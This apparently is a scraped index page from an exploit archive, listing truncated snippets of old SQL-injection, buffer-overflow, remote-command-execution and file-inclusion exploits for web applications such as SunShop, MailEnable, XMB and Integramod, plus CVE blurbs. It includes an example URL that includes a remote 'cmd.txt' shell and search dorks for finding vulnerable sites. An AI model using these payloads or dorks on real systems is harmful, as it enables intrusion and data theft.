sunshop-blindsql.txt

!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "\r\n+-----------------------------------------+\r\n"; print...

MailEnable ProfessionalEnterprise 3.13 - Fetch (Authenticated) Remote Buffer Overflow

MailEnable ProfessionalEnterprise 3.13 - Fetch Authenticated Remote Buffer Overflow !/usr/bin/perl ================================================================= MailEnable Professional gmail.com 10.3.2008 ..enjoy!: ================================================================= use...

phpnukebooks-sql.txt

PHP-Nuke Module books SQL Injectionfile AUTHOR : S@BUN HOME 1 : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORK 1 : allinurl: modules-php-op-modload "req viewcat" example http://www.xxxx/modules.php?op=modload&name=books&file=index&req=viewcat&cid= exploit EXPLOIT...

SmallNuke 2.0.4 - Pass Recovery SQL Injection

SmallNuke 2.0.4 - Pass Recovery SQL Injection !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x365' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text =...

SmallNuke 2.0.4 - Pass Recovery SQL Injection

!/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x365' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'Smallnuke cms 'Tahoma 7...

EggBlog 3.1.0 - Cookies SQL Injection

!/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'eggblog 'Tahoma 7...

CCITTFaxStream:: lookChar()

Heap-based buffer overflow in the CCITTFaxStream::lookChar method in xpdf/Stream.cc in Xpdf 3.02p11 allows remote attackers to execute arbitrary code via a PDF file that contains a crafted CCITTFaxDecode filter...

CVE-2007-4311: Undefined Security Weakness

The xfersecondarypool function in drivers/char/random.c in the Linux kernel 2.4 before 2.4.35 performs reseed operations on only the first few bytes of a buffer, which might make it easier for attackers to predict the output of the random number generator, related to incorrect use of the sizeof...

MiniWeb HTTP Server 0.8.x - Remote Denial of Service

MiniWeb Http Server 0.8.x Remote Denial of Service MiniWeb site http://sourceforge.net/projects/miniweb/ Author: gbr Tested running the server under Windows XP SP2 Description: The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control the...

chernobiLe Portal 1.0 (default.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : chernobiLe Portal 1.0 default.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Not Free,Private Info : / Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin Fakat hala birsey bulmus gibi bazi sitelerde bu...

chernobiLe Portal 1.0 - 'default.asp' SQL Injection

Title : chernobiLe Portal 1.0 default.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Not Free,Private Info : / Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin Fakat hala birsey bulmus gibi bazi sitelerde bu raporlarin basligini aciyorsun.Urastigin...

CodeRed : The history of one vulnerability

History of one vulnerability It all started with a message from eEye 1 about another discovered buffer overflow vulnerability in IIS. The problem was in the ISAPI filter from Index Service. According to the eEye report, the vulnerability was discovered quite unexpectedly during one of the tests o...

security flaw

Integer overflow in the CIDAFM function in X.Org 6.8.2 and XFree86 X server allows local users to execute arbitrary code via crafted Adobe Font Metrics AFM files with a modified number of character metrics StartCharMetrics, which leads to a heap-based buffer overflow...

security flaw

Integer overflow in the CIDAFM function in X.Org 6.8.2 and XFree86 X server allows local users to execute arbitrary code via crafted Adobe Font Metrics AFM files with a modified number of character metrics StartCharMetrics, which leads to a heap-based buffer overflow...

integramodInclude.txt

--Security Report-- Advisory: Integramod Portal http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=FILE EXAMPLE - http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=http://yoursite.com/cmd.txt? EXAMPLE -...

[Full-disclosure] Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability

--Security Report-- Advisory: Integramod Portal = 2.x File Inclusion Vulnerability --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 24/08/06 03:00 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Integramod http://www.integramod.co...

XMB 1.9.6 Final - 'basename()' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 Final basename 'langfilenew' arbitrary local inclusion / remote commands xctn\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works regardless of php.ini settings /...

WebAlbum 2.02pl - COOKIE[skin2] Remote Code Execution

!/usr/bin/php -q -d shortopentag=on this works with magicquotesgpc=Off\r\n"; echo "dork: WEBalbum 2004-2006 duda\r\n"; if $argc 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".de...

Macromedia Flash Media Server 2 Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ================================================================ Macromedia Flash Media Server 2 Remote Denial of Service Exploit ================================================================ / Macromedia Flash Media Server 2 Remote D.o.S...

mybloggie213b.txt

MyBloggie 2.1.3beta null char + SQL Injection - Login Bypass software: site: http://www.mywebland.com/ vulnerability: if magic quotes off - SQL INJECTION look carefully this code in login.php, line 40-69 ... if isset$POST'username' $username=$POST'username'; else $username=""; if isset$POST'passw...